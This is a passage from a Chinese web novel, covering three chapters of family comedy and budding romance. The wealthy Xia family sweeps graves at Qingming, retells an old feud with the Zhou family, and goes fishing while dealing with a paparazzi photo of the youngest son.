夏家的司机已经在机场候着,俩人什么都不需要考虑,下飞机、上车、回家。
夏星时一回到家,整个人都懒散下来,一整天和二姐窝在沙发看电视剧。
夏元岑每次路过总会发出“啧啧”的嫌弃声。
大霸总还要线上处理工作,哪像他们俩,无所事事,闲人一个。
夏元瑾抽空呛他一嘴:“你再啧咱俩出去打一场。”
她说的是打羽毛球。
“咔嚓咔嚓。”
夏元岑:“你要不要脸啊,专业运动员欺负老百姓是吧。”
“咔嚓咔嚓。”
夏元瑾:“臭资本家在这狗叫什么呢!”
“咔嚓咔嚓。”
夏元瑾&夏元岑同时转头:“拿着你那破薯片出去吃!”
捏着薯片的夏星时抬起头眼神茫然:?
神仙打架小鱼遭殃!.
清明当天,凌晨四点,夏星时起床上山。
天色暗沉,墓园这边已经停了好几排车,都是来扫墓的。
夏家没有祖坟,他们家的族谱第一页是夏星时爷爷,严格意义来说,老头葬在哪哪就是祖坟。
夏星时这队不是第一批上山的,大哥和父亲来的要更早一些。
这片墓园葬着夏星时的爷爷奶奶,葬着老头当年的老兄弟们,以至于来的人不止夏家。
到哪都得先社交啊。
清明的雨如约而至。灰蒙的天笼罩着一层薄雾,细密的雨线打在冰凉的墓碑上,远山被雨雾揉的模糊,情绪沉甸甸的压着。
夏星时举着伞,跟着二叔二婶往前走,快到目的地的时候,他意外看见了一个熟悉的身影。
举着黑伞的男人高大挺拔,脊背挺直,西装纽扣克制的系在最上面,头发一丝不苟的向后梳起,没有一根碎发。
——是封煜。
大概是清明的雨泛着寒意,夏星时似乎回到了冬天,记起了他第一次见到封煜时的感觉——像雪松,很冷。
封煜在和夏爸说话,夏元岑则站在旁边给爸爸打伞,三个人看起来在谈正事。
夏二叔脚步停住,没过去。
夏星时蹭到二叔身边,小声问:“二叔,不是说周家跟咱家关系很差吗?”
他看见一座新的碑,是周老的。
周老居然葬在这座墓园吗?
按理说,周家和夏家这个体量的家庭,不说来往密切,也不至于完全不了解,但夏星时在此之前是真的不认识封煜,家里对周家的态度也都很微妙,连大哥二姐还有他的成人礼也没邀请周老。
夏星时以前都默认他们家和周家属于敌对势力呢。
“情况复杂,一言难尽。”夏二叔的精神头很差,哈欠根本止不住。
夏元瑾耳朵一动,也凑上来:“说说呗二叔,在这儿等着也挺无聊的。”
夏二叔明显不想说:“无聊你去摆供果啊。”
“二婶,你看他。”夏元瑾抱住二婶的胳膊撒娇。
二叔二婶都是搞文学的,身上自带读书人的文雅气质。
二婶笑了笑,语气柔和:“都是我们这辈的事,无聊的很。”
这个观点二叔就有点不认可了:“倒也不至于是无聊吧。”
“二叔,我知道一个好钓点。”夏星时掏出手机在二叔眼前一晃。
湖!资深钓鱼佬一看就知道这是个好地方!
“拿这个考验钓鱼佬?我告诉你,钓鱼佬根本禁不起考验!”老钓家一开口就知有没有。
“其实你们爷爷和周老爷子关系很铁,要不然也不会让你爸和周老闺女订婚了。不过问题,也恰好出在订婚上了。”
二叔开口就是王炸。老爸和周家订婚?那我们咋来的?
夏星时递上一把瓜子。
二叔刚要嗑,忽然惊醒,他先是看了看夏星时拎着的贡品瓜子,转头盯着夏星时不说话了。
夏星时一脸的笃定:“爷爷说我们可以吃,大家一起吃热闹。”
二叔气笑了,张口就来是吧!你倒是先问问啊!
他把瓜子揣兜里,然后再一颗一颗的掏出来嗑。
“你爸当年是圈子里最靓的仔,谁见了不得叫一声夏大少爷、夏哥,地位比你大哥现在可夸张多了。”夏二叔手指凌空夹了夹,忆往昔的时候不来一口,氛围都不对劲,“订婚那阵他跟你差不多岁数,二十岁的小伙子,年轻气盛,也最好面子。订婚当天,宾客满席……”
他顿了顿,故意吊着姐弟俩,语调缓缓:“周闻歆逃婚了。”
周闻歆,周老的女儿。
姐弟俩同时倒吸了一口凉气。
像夏家这种家庭,面子有时候比天都大。再说了有什么事不能私下里谈好了,非要这种时候让所有人都下不来台?
“事发突然,你爸脸都黑了,你爷爷也发了顿真火,然后就让我和你二婶顶上去了。但再怎么补救,也还是让人看了笑话。就这么说吧,那段时间,圈子里都不唠洛家的八卦了,全都在说你爸的事。”
那的确影响很巨大了!
当年因为一些意外,二叔比他爸早结婚一年,原来是这么个意外啊。夏星时和夏元瑾对视一眼。
夏二叔说着说着就蹲了下去,夏星时姐弟也跟着蹲下去听故事,三人都举着黑伞,远远看过去像是三个大黑蘑菇。
“而且周闻歆的逃婚对象是周老的义子之一,你爸本来就挺瞧不上他的,这会儿被一个瞧不起的人撬了墙角,别提多来气了。”夏二叔想起什么又补充道,“说起这个义子,你周叔知道不,周莉他爹,是周老的大儿子,不过父子俩关系很差,差到什么地步呢,老爷子的葬礼,你周叔都没去。”
夏星时和夏元瑾最近已经知道周叔的事,不怎么意外。
“周老一共收了三个义子,最有出息的那个早逝了,剩下两个一开始都在港城打理产业,你周叔跟周老决裂离家后,才让封鹤深从港城回来。”
夏二叔说的时候语气都充满了不理解。
“封鹤深这人吧,能力一般,但嘴够甜,皮相也好,装的人模狗样,抓着你周叔和老爷子断绝父子关系那阵趁虚而入,一边哄着老爷子一边哄着周闻歆。我怀疑当初周闻歆在订婚宴上逃婚就是他撺掇的。”
毕竟周闻歆当时还是要脸的。
“周闻歆逃婚后很快被周老抓回去了,一问才知道,她怀孕了,封鹤深的种,这种事藏不住的。虽然订婚宴还没办成,但两家早就谈好了你爸和周闻歆的婚事,名义上你爸跟周闻歆是恋爱关系。也就是说,周闻歆出/轨给你爸带了绿帽子然后还整了个野种出来。”
夏星时掰手指头算了算,岁数对不上哇,封哥不是这胎?
夏二叔:“再好的脾气遇见这种事,也忍不了,再说了,你爸当年可一点都不修身养性,疯起来可比现在洛家夺嫡大战精彩多了。”
夏二叔的语气满是对自己大哥的佩服。
“咱两家就此闹崩,几乎没有缓和的余地,你们爷爷和周老来往也少了,到后来更是几乎没见过面。”
“当时周家那边自认理亏,让了很多项目和资源,周老没让那胎留下,周闻歆流产。”夏二叔对此不做评价。
“不过最后周闻歆还是跟封鹤深结婚了,那阵子你爸为了找回场子,跟特么选妃一样急着结婚,也是机缘巧合,最后和嫂子走到一起了。”
夏二叔说完就有点嫌弃:“就这么点破事,的确没什么意思。”
夏星时和夏元瑾摇头,他们觉得可有意思啦!
夏二叔见状,眼中闪过一丝狡黠,他将声音压得更低:“最有意思的还是封鹤深婚后出轨,周闻歆把人给捅了!俩人最后一个因为经济犯罪蹲监狱,一个因为家暴精神失常进了精神病院!”
他说完也不等姐弟俩追问,站起来,捶捶腿,幽幽叹了口气:“周老头病重那阵子,私下联系要见你爸一面,说还是想葬在这里头。人都要没了,再乱的帐也该消了。”
那老头倔了一辈子,临死才终于想通了。
夏二叔:“再说了,总不能让你们爷爷在下头连老朋友都见不着吧。”
作者有话要说:
[哈哈大笑]春节快乐
第27章
细雨蒙蒙,雾色渐散。
他们这边聊完八卦,那边也谈完了正事。封煜退到了周老的墓地,夏家人开始扫墓。
擦拭墓碑、打扫灰尘落叶、摆好贡品,最后点香烛祭拜行礼。
夏星时三个小辈跪在地上给爷爷奶奶磕个头,然后退到长辈们后面站好。夏元岑磕了两个,其中一个是替他们大姐嗑的。
夏乘风:“元蕴今年研究在关键节点上,春节和清明单位都没放人,估计是有什么新成果要出来。别小气,多在下面给大孙女磕磕头,保佑保佑自家孩子。”
夏元蕴是二叔二婶的孩子,也是夏家这一辈的大姐。当年夏乘云因为意外比自家大哥先一步成婚,生孩子也早。
夏乘云夫妻俩个搞浪漫文学的,生出的孩子却是个科研的天才。初中就进了少年班,然后一路进了保密单位,听长辈说,是随了奶奶,现在进了奶奶曾经的部门,前途无量。
“元岑差不多能接班了,我操劳这么多年,终于能歇歇了。这么一想。我当年可比他强多了,没让你累着。那句话怎么说来着,菜就多练。”
夏元岑耸肩。自吹自擂谁不会嘛。等以后老爸下去了,他也跟儿子这么吹。
“元瑾拿完大满贯,计划着退役转教练岗了,不过我看她不像能教人的样子,脾气太差。”
夏元瑾心想你个老登懂个屁,脾气差才是正经教练。
“星时,挺乖,没染上什么陋习,就是最近花钱有点厉害,为了首歌花好几百万,不知道的还以为他包小明星了。”
夏星时噘嘴,这事到底什么时候能过去啊。
“周老头跟你犟了一辈子,临了的时候终于示弱了,人之将死其言也善,他想落叶归根,我当然不能做个恶人。哦,你俩现在应该在下面见到了,别忘了嘲笑他。”
“周闻朔跟他爸一个倔样,到死没去见亲爹一眼,葬礼也没去,对比下来还是我和老二强吧。所以你也别笑的太大声,允许他稍微伤心一会儿吧。”
“老头做人失败,做鬼也成功不了,不过我估计你不用接济他,周闻朔那老小子会偷偷来扫墓的。现在做人的时候我就不笑话他了,等以后当鬼的时候再拿出来说道说道。”
“周闻朔让我照顾照顾他外甥,我看心情吧。”
家长们絮絮叨叨单方面跟爷爷奶奶输出,夏星时将伞翘高一些,头轻轻偏转,视线落在不远处的封煜身上。
老爸嘴上说着烦周老,其实把周老的墓安排的和爷爷很近了。嗯……差不多只预留了他们几个的坑位。
夏家这边的扫墓透着一种诡异的热闹,好像不是来扫墓的,是来跟家里长辈做年度总结的。
和夏家这边相比,周老那边就很冷清了,只有封煜一个人。
细雨绵绵,他没有撑伞。
黑色的伞摆在墓碑旁,祭品码的整整齐齐,封煜站在墓碑前,像一尊沉默的石像,他身上的孤寂与冷融进细雨,浓郁到化不开.
天逐渐放亮,赤红的圆弧自远山跳出来,夜幕撕开,天际浮出融金般的云霞,雨停了。
将纸灰打扫干净收拾好,夏家人准备下山,夏乘风把封煜叫上。
车子驶下山,在山下的农家院停下来。
封煜下车,将外套搭在手臂上。
刚刚的雨绵密但并不大,只淋湿了西装外套。
他视线下意识落在后车,随后夏星时从这辆车下来,封煜看见夏星时……肩膀上的鹦鹉?
夏星时走近,注意到封煜的眼神,笑着指了指肩膀上的绿色鹦鹉:“这是夏小花,今年二十六了,按岁数我大哥也得叫他一声小花哥。”
他说话的时候,夏元瑾也牵着豆包从同一辆车下来。
是的,在他们家,宠物也要参与扫墓,不过今天天气不好,夏乘风没让两个长毛的小动物下车。
豆包朝封煜汪了一声。
低头打理羽毛的夏小花被狗叫声吓了一跳,扑棱着翅膀飞高了一点,然后又被脚上的绳子扯回来了。
夏星时捏着手里的绳子,只给了一个基础力道。夏小花有灵性,没有继续飞,轻轻落在夏星时脑袋顶,然后又蹦跶回肩膀。
它伸出脖子低下头,恶狠狠的盯着豆包,然后张开鸟嘴叽叽喳喳:“臭狗!傻狗!笨狗!呸!呸!呸!”
封煜呆了一下。
夏元瑾急忙捂住豆包耳朵:“豆包别听是恶评!”
她抬头:“你都二十多岁了,能不能稍微让让一岁的妹妹?”
一岁的豆包听不懂,二十六岁的夏小花也听不懂。
夏星时把夏小花抱到下来,摸摸夏小花的头对封煜说:“别担心,他们关系挺好的。”
夏小花张开翅膀,叽叽喳喳:“让你摸了吗!让你摸了吗!夏!星!时!”
夏星时张口胡来,表情真挚:“小花这是在表示喜爱。”
可怜的夏小花连幼儿园文凭都没有,根本不明白自己被过度解读了。
早餐提前定好了,人到直接开餐。
夏乘风喝粥就着两口小咸菜,开口问封煜:“在这留两天?”
封煜还没来及回答,游芳菲女士便笑着接:“放假了就休息休息吧,你和元岑也熟悉,正好让他带你去周老当年住的地方看看,你外公、你妈妈、你舅舅都在这里生活过。”
话说到这儿,显然不是在客套。封煜将拒绝的话咽了下去,轻轻点头:“好。”
夏乘风:“两家的事,这么多年,该过去的都过去了。以后工作生活上,有什么需要帮忙的,不想麻烦你舅舅,可以来找我,再不济也跟元岑多商量商量。”
封煜礼貌应下。
夏乘风想起什么,笑了一声,“你跟你舅年轻时候挺像的。”
但凡封煜有一点像他那对父母,即便周闻朔亲自过来嘱咐,夏乘风都不会给他什么好脸色。
夏星时咬了口包子,抬头看看老夏。夏家跟周家关系很差,但老夏跟周叔一直很铁。
此前他和大哥都不知道周叔是周家人,也有这个方面的原因。
夏家没有食不言寝不语的规矩,长辈带头闲聊,小辈们当然放松。
夏元瑾找机会跟封煜道谢:“谢谢你过年那阵帮我照顾豆包。”
封煜:“没事元瑾姐,豆包很乖。”
夏元岑在旁边一个激灵,猛地抬头:“老封,你管他叫姐,管我叫什么啊?装一下得了啊!”
夏元瑾啧啧:“有些人自己没礼貌,也见不得别人有礼貌。”
夏元岑轻飘飘吐出四个字:“我是老大!”
在当年的出生战役中,夏元瑾比夏元岑晚五分钟才爬出来,从此失去了做大姐的资格,干什么都矮了夏元岑一头。
夏元岑什么都不用干,端起大哥的架势就能让夏元瑾破防。
夏元瑾口不择言:“你在老妈肚子里抢跑!”
夏元岑目瞪口呆:“你要不要听听自己在说什么!”
饭桌瞬间热闹起来,几个长辈笑看活宝,笑语满堂。清晨的光从窗户照进来,暖乎乎的.
夏家的老宅在地图里显示在一个村子里。但这里的基础设施看不出来是村子。
马路整洁开阔,草坪整整齐齐,花开的正好,空气透着一阵清新的春意。居民区临江而建,环境雅致,视野开阔。
夏星时指了指江:“这地方很适合钓鱼,据说很出货。我爸和二叔都喜欢在这文钓。”
“文……钓?”封煜问的很迟疑。
夏星时靠近一些,小声蛐蛐:“装备齐全但钓不上鱼。”
封煜也跟着压低声音:“那武钓?”
夏星时语速飞快:“装备齐全但钓不上鱼然后去菜市场买鱼。”
原来是不讲武德的武。
夏星时:“空军佬哪怕是在自家鱼塘开科技都钓不到鱼!”
夏乘风轻咳一声:“小封,别听星时胡说,他根本不懂钓鱼。钓鱼,讲究天时地利人和,讲究一个缘分,讲究……总之讲究的很多,结果不是最重要的,重要的是钓鱼过程!”
夏二叔也说:“你们年轻人还是浮躁了,结果哪有那么重要,要享受过程,你得品。”
夏星时撇嘴,他踮起脚,声音更小了:“空军佬都这么挽尊。”
两人离得太近,气息交融不分彼此。
夏星时微热的吐息打在封煜耳朵上,后者瞳孔微缩,耳尖瞬间泛起一阵薄红。耳朵上传来细密的痒,顺着血管攀爬向下,颈侧的皮肤跟着轻轻战栗着。
封煜下意识朝几位长辈看过去,紧张又心虚.
今天起得太早,连夏星时精神都有些萎靡,大家一致决定上午补个觉。
夏星时醒的时候日头悬在中央,时间已经来到正午,他错过了午饭。
“哟,少爷醒了。”夏乘风拎着钓具正要出门,抬头看见小儿子下楼,调侃一句。
“其他人呢?”夏星时抓抓头发。
他睡多了,这会儿反而没精神,浑身肌肉都泛着懒散。
“你大哥带封煜周家老宅转悠,你二姐遛狗,你妈去你二婶家了,我和你二叔要去钓鱼。我不跟你说了,钓鱼去了。锅里留了饭,应该热乎着直接吃吧。”夏乘风抬腕看了眼时间,匆匆离开。
夏星时到厨房扒拉两口饭,然后咬着勺子沉思片刻,忽然加快进食速度。
他换上衣服,迈步朝西边走,还没到目的地,就看见了返程的夏元岑和封煜。
“干嘛,凑热闹来了?”夏元岑揽住夏星时。
夏星时眨眨眼睛:“没啊。”
“少来。”夏元岑侧头看了看封煜。
周家老宅没人住也没人维护修缮,杂草满地,里面的家具盖上一层厚厚的灰尘,一股子腐朽的气息。
他觉得封煜应该挺伤心的。
夏星时轻声说:“哥,我们上山玩吧。”
夏元岑双眼一亮:“走走走!”.
春天的风温暖和煦,风轻轻拂过掠过大地,草叶摇动,沙沙的轻响混合潺潺的水声,仿佛一首春日小调。
“风景还是这么好!”夏元岑张开双臂,躺在柔软的草地上,“可惜没有带风筝上来。”
他身边还摆着刚从溪里掏出来的漂亮小石头。
夏星时和封煜盘腿坐在地上,两人中间摆着一大堆狗尾巴草。
“登登登,小蜻蜓!”夏星时举起刚编好的小蜻蜓。
夏元岑爬起来,拍拍身上的草叶,接过狗尾巴草蜻蜓。
“不错不错,手艺依然在线!”
夏星时牌狗尾巴草工厂成功开业。
很快,他编好了小兔子、小松鼠、小乌龟、小蝴蝶、小狗,并在大哥的强烈要求下编了一只九尾狐。
狗尾巴草小动物军团在圆石上排排站好,夏元岑摆拍发朋友圈。
等待夏元岑摆拍的时间,夏星时又编了一个小动物,然后递给封煜。
封煜迟疑着问:“小狗?”
夏星时纠正:“是狼!”
封煜捏着手里这只胖乎乎的草狼,低头观察。
和那边的小狗的确有差别,体型大了点,姿态也是在捕猎,看起来很霸气。
可尾巴为什么是竖起来的?
封煜皱眉。
这是在暗示我——狼被驯化会变成狗?
作者有话要说:
封煜:他果然想驯化我!
有端联想[狗头叼玫瑰]
第28章
夏元岑精心摆拍结束,他们沿着小路下山返程。
夏星时盘着刚刚从溪里捞出来的圆圆的小石头。夏元岑揣着弟弟编好的小动物打算回去再跟夏元瑾炫耀一波。封煜捏着那只大胖狼,眉头紧锁,若有所思。
哥俩非常熟悉这片山路,左绕绕右绕绕,边朝着上下走,边带着封煜欣赏沿途风景。
春天的山鲜活灵动,小鸟欢腾,蝴蝶蹁跹,周围尽是草木的清冽气息。
快下山的时候,领头的夏元岑忽然站住,惊呼出声:“爸?二叔?”
没想到,回家的途中居然碰见了钓鱼的二老。不过想想也合理,这地方似乎好像也许是有片他们家的鱼塘。鱼塘刷新钓鱼佬,合理。
两个钓鱼的中年男人齐齐回头。
夏乘风凝眉:“吼这么大声干什么!把我鱼都吓跑了!”
三人组走近,夏星时探头往鱼桶里瞅了一眼,嚯,居然真有一条鱼!
“你俩今天先去的菜市场?”夏星时笑嘻嘻。
钓鱼佬岂能承受如此大的恶意。
夏爸:“这特么是我钓的!钓的!钓的!”
夏星时故意:“行行行,钓的钓的。”
夏爸:“来来来,你不信是不是,我非得再钓上来一条,今天钓不上来谁都不许走。”
夏星时:……
爸爸这么不禁逗的吗?.
夏元岑蹲在岸边,叹气:“你说你,惹他干嘛啊。”
夏星时坐在钓椅上,抓着钓竿,眼神失去的光芒:“不是说好的结果不重要吗?”
旁边钓位的夏爸转头,轻飘飘的说:“是你否定了我的过程。”
夏星时木着脸点头:“好好好。”
原本夏爸是计划再钓一条上来证明一下自己就放人走,可鱼漂原地静默了半小时都没动一下,如果不是水波仍在微微荡漾,他们怀疑自己简直像是误入了什么可怕的时停剧场。
等待过程中,夏星时感觉背后有一团草团咕噜噜滚走,头顶飞过一只乌鸦,乌鸦身后还跟了一串省略号!
夏星时嘀咕:“这什么钓鱼差生啊。”
他声音很低,但钓鱼佬听得见。
夏爸拍地而起,怒发冲冠:“你以为这东西很简单吗?”
于是,一生不输于人、且已经到达中年的大夏总决定教教他们钓鱼,在进行了充满爹味的基础讲解后,决定跟儿子们比比。
拥有深厚经验的资深钓鱼佬表示自己不欺负人,允许你们三对二。
夏星时:谁要和你们比啊!
小夏同学当时体贴的表示没有多余钓竿,也不想爸爸和二叔哪怕任何一个人失去钓鱼的快乐,而且他们哪怕被二位资深钓鱼佬亲自教学,也根本达不到二老的钓鱼水平,不如等他们以后练练再约。
夏星时嘴很甜,并设身处地为爸爸着想,可他终究低估了一位已经上了头的钓鱼佬的决心。
于是,夏爸充分展现了夏家家主的实力——一个电话叫来管家送装备。
看着管家带来的一根鱼竿和三个小马扎,夏星时眼神幽怨极了。
他们三个人只有一根钓杆和一小盆鱼食,而对面小组不止拥有两根钓竿,钓点也不知道打了多久的窝,这也算三对二?
统计学真有魅力。
看着冷着脸的小少爷,管家叔笑出了声:“好久没见小少爷这么丧了。”
没办法,家里的少爷小姐都不是清冷沉默挂,让他在管家这个社交圈总是这么的格格不入。
当长辈开始无理取闹时,小辈们也只能沉默承受了。
所以现在夏星时只能坐在小马扎上握着钓竿,面无表情盯着平静如死水的湖面。
两队目前都是空军。
静了一会儿,隔壁的夏二叔忽然转过头跟夏星时说:“星时,你看看网上,你那个小朋友好像让狗仔拍了?你夜里带小朋友回家睡觉啦?”
夏星时无奈:“二叔,你用词能不能正经点。”
就这还搞文学的呢?
夏元岑闻瓜而去,眼珠一转,并在父亲开口前提前:“夏星时你之前不是说只喜欢他的声音吗,怎么带家里去了!现在就回家说清楚!”
他的重音落在了“回家”上。青年霸总没到岁数,暂时不喜欢钓鱼。
夏元岑拙劣的演技没能阻挡来自父亲的问询。
“怎么回事?”夏乘风放下钓竿。
夏元岑递给夏星时一个自求多福的眼神。
夏星时回给夏元岑一个“你戏真多”的眼神,然后实话实说:“校庆当天结束的太晚了,谭淮宿舍离学校太远了,我那不是离得近吗,就让他在我那对付了一宿,可能被拍了呗。当天封哥也在。”
夏元岑惊讶看向封煜:“你还真去看校庆了?”
封煜点头,“在星时那留了一宿。”
夏元岑:“奧,住的302是吧。以后你要是有事直接住302就成,密码六个六。”
“没啊,封哥在301,我屋。”夏星时一脸的嫌弃,“你那房子从来也不住,冷冷清清的怎么住人啊。”
夏元岑呆了一下,他回忆了一下,没错,301只有两个卧室啊。
“我和小谭睡一屋在客卧,”夏星时本来挺自然的,但被家里人三双眼睛直勾勾盯着都有点不自信了,“不是,干嘛这么看我,我不可能为了找刺激再带一个回家吧?”
夏星时往封煜那看了一眼。
封煜微微垂眼。倒也不一定。
夏爸一脸的无辜:“爸也没说什么啊,你这么激动干什么。你都长大了,真谈恋爱也没什么,注意安全就成。”
他当然相信小儿子的清白。
以夏星时的性格真有什么应该先心虚、然后脸红、最后委委屈屈承认。他根本演不出来如此的理直气壮。
于是所有人掏出手机开始吃瓜。
“假期爆料,图流量还是恶意大?哟,拍到星时正脸还敢发,哪条道上的这么不懂规矩?”
大夏总在笑,但笑意不达眼底,连眼角的鱼尾纹都泛着冷意。
这条推文在娱乐圈里就是个常规爆料而已,无非就是说谭淮被包了,突然爆火刷屏是资本发力了,实际上歌难听的要死,配合一些水军,阵仗看着挺大,但没什么实质的内容,开局一张图,后续全靠编。
照片很糊,但的确照到了夏星时的正脸。
“马上处理。”夏元岑面色一正。
“现在联系处理?黄花菜都凉了。”夏爸轻抬眼皮,“不是两天前就接到消息了吗。”
夏元岑呼吸一滞。
校庆第二天就有娱记公司联系了东升,不是要收钱删爆料,而是主动送消息——带着星时照片的料根本没人敢爆。
“是,不过……”
夏爸:“不过你没想到真的有人敢发。”
“得到消息之后觉得没事了,一不查拍照的是谁,二不做任何防范。夏元岑,你最近是不是飘了。”
夏乘风摸着鱼竿,语调漫不经心,可周身的威慑却无比沉重。
夏元岑的解释堵在喉咙里。
“现在网络信息这么发达,没拦住不是很正常吗。后续该处理处理呗,是我自己出门没注意,你跟我大哥吵什么。”夏星时皱着眉,明着使起了小性子。
“而且是你非要我去见世面,要不然我能见到谭淮吗?这么说二叔也有责任,都怪他钓鱼才碰见那种钓友……”
“哎哎哎,”二叔制止夏星时,怎么还怪上钓鱼了,“要我说,这事赖盘古,都怪他非要开天辟地,盘古坏!星时好!行了吧?”
夏星时唇角勾起又压下,艰难绷着脸,轻哼了一声,“你有这吵吵的功夫,我大哥都把事情处理好了。老夏你说实话,是不是更年期了,故意在这没事找事呢。”
夏星时:“再说了,你既然知道肯定也做了防范吧,那不也没防住吗。”
老夏噎住。
夏元岑高高扬起下巴,浑身舒爽。打钱!必须给宝贝弟弟打钱!
老夏也哼了一声:“你就仗着自己生在夏家才无法无天吧!”
“对呀!”夏星时一脸的莫名,插着腰,理也直气也壮,“不然呢!”
老夏一口气没崩住,笑了。
看吧,夏星时有理的时候是这样的!这种气势装不出来的。
老夏笑着指了指小儿子,然后猛地将炮火转向了大儿子:“好,防范这一关算他过了,那溯源做了吗?”
夏元岑:“我当然……”
夏星时抢先开口:“我大哥现在这么忙,这种小事也需要他亲自过目吗?你现在过退休生活,有空管点小事就管管呗。所以是因为什么啊?总不能是谭淮那个赌狗爹整的事吧。”
老夏不吱声了,夏元岑点头。
夏元岑当然做了溯源。
夏元岑小声跟夏星时说:“稍微对你哥有点自信行吗?”
所以,真是啊?
父子三人大眼瞪小眼。
夏星时气势瞬间就弱了下来:“……啊?真是啊?他怎么这么讨厌呀,不像我爸爸,人帅又理智,从来不会坑儿子。”
“所以,亲爱的爸爸,愿意为你无知的小儿子讲解一下究竟发生了什么吗?”
夏星时在心虚的时候非常喜欢撒娇。
他生的好看,漂亮话张嘴就来,哄人的时候也大大方方,没有长辈能在夏星时面前强撑威严,如果有夏星时会开启第二轮撒娇。
老夏没撑到第二轮,勉强维持着一脸傲娇的样子,佯装不情不愿地说:“照片是他找人拍的,之前也一直在联系网媒爆这个事。不过他具体要干什么不太清楚。”
夏星时困惑:“他哪来的钱搞这些事?”
不是因为没钱才跑的吗?而且当爹的上赶着爆儿子黑料,脑子瓦特了?
“打钱的账户在南诏那边,是个小工厂老板的户。”老夏属于中年男人的好为人师劲儿忽然又上来了,他要考考小儿子,“遇见这种事,你想怎么做?”
“联系供应商断他货呗。”夏星时不甚在意地说。
老夏轻轻点头:“然后呢?”
“哪还有什么然后,这么急着爆料无非敲诈勒索和挑衅两个可能。接下来他们该好好想想得罪了谁,想想有些钱是不是他们能拿的。至于能不能找上来就看他们本事,难不成做了这种事还要我求着跟他们见面解决问题不成?”
夏星时勾着唇,眼睛弯出一个优美的弧度,眼神却很冷,没有温度。他像是在谈今天中午吃什么,语气随意的很。
他忽然转头看向封煜,“对吧,封哥?”
夏星时笑的撩人,眼下的小痣写满了蛊惑。
封煜只感觉目眩神迷,头皮发麻,身体传来一阵战栗感,所有思考能力都被夏星时夺走了。
封煜:“对。”
你做什么都是对的.
夏星时一副不管不顾要跟幕后黑手硬刚的样子,但老爹和大哥不可能这么放任什么都不管。
几个电话打了出去。
夏元岑:“公关会模糊掉星时的存在,联系了熟悉的媒体用其他爆料压下这件事的热度,平台已经开始下架图片了,水军和博主律师函也发了,东升那边也会发澄清报告,公司这边会持续跟进。”
他说的公司不是东升,而是锋锐。
夏元岑汇报:“这件事情整体来说影响不大,但风向……不是很好。”
老夏也看见评论了。
还没开始公关,关注点已经歪了。
【好伟大的一张脸啊。我舔我舔我舔!】
【我认识,这我老公,当天还给我跳舞来着。[校庆开场舞露腰照.jpg]】
【雅俗共赏。忽然感觉自己懂艺术了捏。】
【周围都沦为模糊的背景,唯有他依旧清晰,承认吧狗仔哥,你的镜头说爱他!】
【什么?可以被这张脸by吗?不懂就问,这个项目在哪报名?】
【道德在哪里,底线在哪里,联系方式在哪里?】
【浅磕一手。】
【什么都磕只会让我营养均衡!】
爆料的可能没想到大家关注点这么歪。
前几天B大校庆热度很高,出圈+热搜,吃瓜路人既认识开场舞c位大美人,也认识落幕带着大家唱儿歌的领唱小帅哥。
爆料点赞最高的热评是——
【不是哥们,如果我是你,我就造谣他俩谈了,热度绝对比现在高。】
夏星时扬起下巴:“事实证明,群众的眼睛是雪亮的,我身正不怕影子斜,一身铁骨铮铮的正气,根本不怕这些邪门歪道!”
“行行行,你都对。”夏元岑哄着弟弟,“那爸,我们先回家等进度?”
“回家?!回什么家!钓完鱼了吗!再说你回家不也就是等着,回家等和在这等有什么区别?你们就心太不静了,多跟你爹学学。”老夏再次拎起钓竿,气势满满。
夏元岑:……
这鱼魅力这么大?非钓不可?
封煜也去打了几个电话,让晨晓的团队配合锋锐办事。
这会回来被告知还要继续钓鱼,他看了看鱼鳔迟疑地问:“我们好像没挂鱼食?”
夏星时摇摇手指,“我故意的。古有姜太公直钩钓鱼,今有夏星时不挂鱼食,愿者上钩!如果钓鱼只为了钓上鱼,你和那群鱼有什么区别。”
哪敢真钓啊,刚把老爹气够呛,找个台阶认怂吧。万一真钓上来,今天别想回家了。
封煜微微一怔,回忆起刚刚夏星时从容不迫、运筹帷幄的模样,又看了眼手心的胖狼,抿唇不语。
夏星时看似随意,实则游刃有余,没有闲笔。
现在,表面在说鱼,实则在说他。他就是条愿者上钩,没勾硬咬的小鱼。夏星时已经明示他钓鱼就是为了找乐子,鱼怎样,他根本不在乎。
夏星时叹着气,期待隔壁快点上鱼,然后回家歇歇,但他没有料到,居然是他的鱼漂先动了。
吃惊归吃惊,不过他动作一点不慢。
收线起竿,鱼落在地上扑棱着——
“哇,好大一条鱼!”夏星时兴奋的跳了起来,转头看向封煜,“原来没有鱼食也能上鱼吗!我有点喜欢钓鱼了!”
封煜帮忙将鱼放进鱼桶,他蹲在地上悄悄握拳,长叹一声。
“我们给这条小鱼打点氧吧,当然我们家鱼塘的鱼品质很好,但我还是想给它打点氧。”夏星时有点小紧张,他怕鱼不小心死掉。
第一次钓到的鱼总归可以得到一些特别的偏爱。
夏星时去二叔那翻了翻,果然从这位设备党手里找到了打氧机。
封煜双眼一亮,一般鱼进不了夏星时的鱼塘。嗯,夏星时是在说我不一般?而且夏星时的意思是不是,对于钓上来的小鱼,他其实会稍微爱护一下?
夏元岑凑过来,叹气:“怎么上鱼了啊?要不咱丢回去吧?”
和爸爸的比赛,肯定是商务钓法呀!
夏星时挡住鱼桶,厉声拒绝:“不行,这是我的鱼!”
他这会也顾不上照顾老父亲心情了。亲爱的老父亲怎么可能被一条小鱼气到?
不可能,绝对不可能!爸爸没有这么小气!
封煜点头,夏星时果然会维护自己的小鱼。
夏星时蹲着看自己钓上的鱼喜欢的不得了,他仰头跟封煜说:“一会儿让我爸给你做红烧鱼。”
夏星时重新坐回钓椅,想要再钓一条!一条够谁吃啊!
封煜眉头一皱,这是敲打自己?
果然,人总是得到就不珍惜了,刚刚还给鱼打氧,现在就要手起刀落吃鱼了!
封煜深吸一口气。如果想在夏星时的鱼塘一直生活下去,就要让夏星时念念不忘。
可以听话,但不能百依百顺显得无趣;可以靠近,但要控制分寸进退有余;可以表现出痴迷,但不能被一点点奖赏哄的分不清方向!
要拉扯,要若即若离,要欲擒故纵!
要展现出自己的特别,才能一直生活在夏星时的鱼塘里。
否则,会被抛弃。不能直接咬勾!
好险,差点就落入陷阱了。
诡计多端夏星时。
封煜看着鱼桶的鱼,眼中露出一丝怜悯。
握着钓竿的夏星时期待满满,但新手光环没有再次眷顾他,鱼漂仿佛进入时停没有动静,根本看不见第二条鱼的痕迹。
他叹了口气,满满的失望:“哎,我果然只喜欢钓上来的鱼,对钓鱼的过程根本不感兴趣。”
封煜点头。
果然,夏星时只喜欢玩弄小鱼,如果小鱼愿意主动送上门他不会拒绝。但只会倒贴的傻鱼,夏星时玩一次就会丢掉!
